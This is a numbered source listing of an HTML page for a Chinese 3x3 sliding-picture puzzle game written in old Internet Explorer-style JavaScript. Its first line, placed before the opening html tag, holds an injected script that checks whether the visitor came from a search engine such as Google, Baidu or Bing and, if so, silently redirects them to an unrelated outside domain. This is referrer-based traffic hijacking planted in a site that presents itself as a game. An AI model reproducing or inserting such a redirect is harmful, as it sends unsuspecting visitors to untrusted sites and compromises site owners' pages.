d:\wwwroot\wuchunhua\js拼图.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><html>
002: <head>
003: <title>智力测验Puzzle</title>
004: <script language="JavaScript">
005: // 全局变量
006: var previousStep = 10;   // 上一步
007: var nextStep;            // 下一步
008: var intSize = 11;        // 图片数
009: var intSteps = 0;        // 步数
010: var beginGame = false;   // 是否开始游戏
011: var intGameLevel = 1000; // 游戏程度
012: // 图片数组
013: var arrayImages = new Array("/uploads/allimg/1104/0.jpg","/uploads/allimg/1104/01.jpg","/uploads/allimg/1104/02.jpg","","/uploads/allimg/1104/04.jpg","/uploads/allimg/1104/05.jpg","/uploads/allimg/1104/06.jpg","","/uploads/allimg/1104/08.jpg","/uploads/allimg/1104/09.jpg","/uploads/allimg/1104/010.jpg");
014: // 检查下一步是否为允许的步骤
015: function validStep(currentStep, newStep){
016: switch(currentStep){
017: case 0:
018: if (newStep == 1 || newStep == 4) return (true);
019: break;
020: case 1:
021: if (newStep == 0 || newStep == 2 || newStep == 5) return (true);
022: break;
023: case 2:
024: if (newStep == 1 || newStep == 6) return (true);
025: break;
026: case 4:
027: if (newStep == 0 || newStep == 5 || newStep == 8) return (true);
028: break;
029: case 5:
030: if (newStep == 1 || newStep == 4 || newStep == 6 || newStep == 9)
031: return (true);
032: break;
033: case 6:
034: if (newStep == 2 || newStep == 5 || newStep == 10) return (true);
035: break;
036: case 8:
037: if (newStep == 4 || newStep == 9) return (true);
038: break;
039: case 9:
040: if (newStep == 5 || newStep == 8 || newStep == 10) return (true);
041: break;
042: case 10:
043: if (newStep == 6 || newStep == 9) return (true);
044: break;
045: default:
046: return (false);}
047: }
048: // 是否已经完成
049: function checkDone(){
050: var objNode,intBeginPos,strImageName;
051: for(var i = 0; i < intSize; i++) {
052: if (arrayImages[i] != ""){
053: objNode = puzzleNode.childNodes[i];
054: // 取得图文件名称的位置
055: intBeginPos = objNode.src.lastIndexOf("/");
056: // 取得图片名称
057: strImageName = objNode.src.substring(intBeginPos+1,objNode.src.length);
058: // 检查图片文件是否正确
059: if (strImageName != arrayImages[i]) return (false);
060: }
061: }
062: return (true);
063: }
064: // 使用者移动图片
065: function moveImage(){
066: if (beginGame) {
067: // 取得使用者选择的图片
068: for (var i = 0; i < intSize; i++) {
069: if (window.event.srcElement == puzzleNode.childNodes[i]) {
070: nextStep = i;
071: break;
072: }
073: }
074: // 检查是否为合法的下一步
075: if (validStep(previousStep, nextStep)){
076: puzzleNode.childNodes[previousStep].swapNode(puzzleNode.childNodes[nextStep]);
077: previousStep = nextStep;
078: intSteps++;
079: step.innerText = "目前为第" + intSteps + "步";
080: if (checkDone()){
081: alert("在第 " + intSteps + " 步完成游戏!");
082: beginGame = false;
083: step.innerText = "";
084: }
085: }
086: }
087: }
088: // 源码来自:烈火下载 http://www.veryhuo.com/down
089: // 加载图片到标记
090: function loadImages(){
091: for(var i = 0; i < intSize; i++)
092: // 指定图片的src属性
093: if (arrayImages[i] != "")
094: puzzleNode.childNodes[i].src = arrayImages[i];
095: }
096: // 打乱Puzzle的图片
097: function randomizeImages(){
098: for(var i = 0; i < intGameLevel; i++) {
099: // 随机数取得下一步
100: nextStep = Math.round(Math.random() * (intSize - 1));
101: if (validStep(previousStep,nextStep)){
102: // 是合理的步骤, 交换节点
103: puzzleNode.childNodes[previousStep].swapNode(puzzleNode.childNodes[nextStep]);
104: previousStep = nextStep;   // 重设目前的步骤
105: }
106: }
107: }
108: // 建立HTML的图片标记
109: function createPuzzle(){
110: var tempNode;
111: var imageNode = document.createElement("IMG");
112: var brNode = document.createElement("BR");
113: // 建立3x3个图片
114: for (var j = 0; j <= 2; j++){
115: // 建立三个图片
116: for (var i = 0; i <= 2; i++) {
117: tempNode = imageNode.cloneNode();
118: puzzleNode.appendChild(tempNode);
119: }
120: // 插入<br>标记
121: if (j != 2){
122: tempNode = brNode.cloneNode();
123: puzzleNode.appendChild(tempNode);
124: }
125: }
126: resetPuzzle();
127: }
128: // 重设Puzzle游戏
129: function resetPuzzle(){
130: loadImages();
131: intSteps = 0;
132: beginGame = false;
133: intGameLevel = 1000;
134: gamelevel.innerText = "初级";
135: step.innerText = "";
136: }
137: // 开始Puzzle游戏
138: function beginPuzzle(){
139: randomizeImages()
140: intSteps = 0;
141: beginGame = true;
142: step.innerText = "目前为第" + intSteps + "步";
143: }
144: // 选择等级
145: function selectLevel(){
146: intGameLevel = parseInt(level.options[level.selectedIndex].value);
147: switch (intGameLevel){
148: case 1000:
149: gamelevel.innerText = "初级";
150: break;
151: case 2000:
152: gamelevel.innerText = "中级";
153: break;
154: case 3000:
155: gamelevel.innerText = "高级";
156: break;
157: }
158: }
159: </script>
160: </head>
161: <body onload="createPuzzle()" ID="bodyNode">
162: <hr>
163: <div align="center" id="puzzleNode" onclick="moveImage()"></div>
164: <hr>
165: <center>
166: <select name="level">
167: <option value="1000" Selected>初级</option>
168: <option value="2000">中级</option>
169: <option value="3000">高级</option>
170: </select>
171: <input type="button" onclick="selectLevel()" value="选择">
172: <b>游戏为<span id="gamelevel"></span></b><br>
173: <input type="button" value="重设游戏" onclick="resetPuzzle()">
174: <input type="button" value="开始游戏" onclick="beginPuzzle()">
175: <b><span id="step"></span></b>
176: </center>
177: </body>
178: </html><br /><center>如不能显示效果,请按Ctrl+F5刷新本页,更多网页代码:<a href='http://www.veryhuo.com/' target='_blank'>http://www.veryhuo.com/</a></center>
179:
180: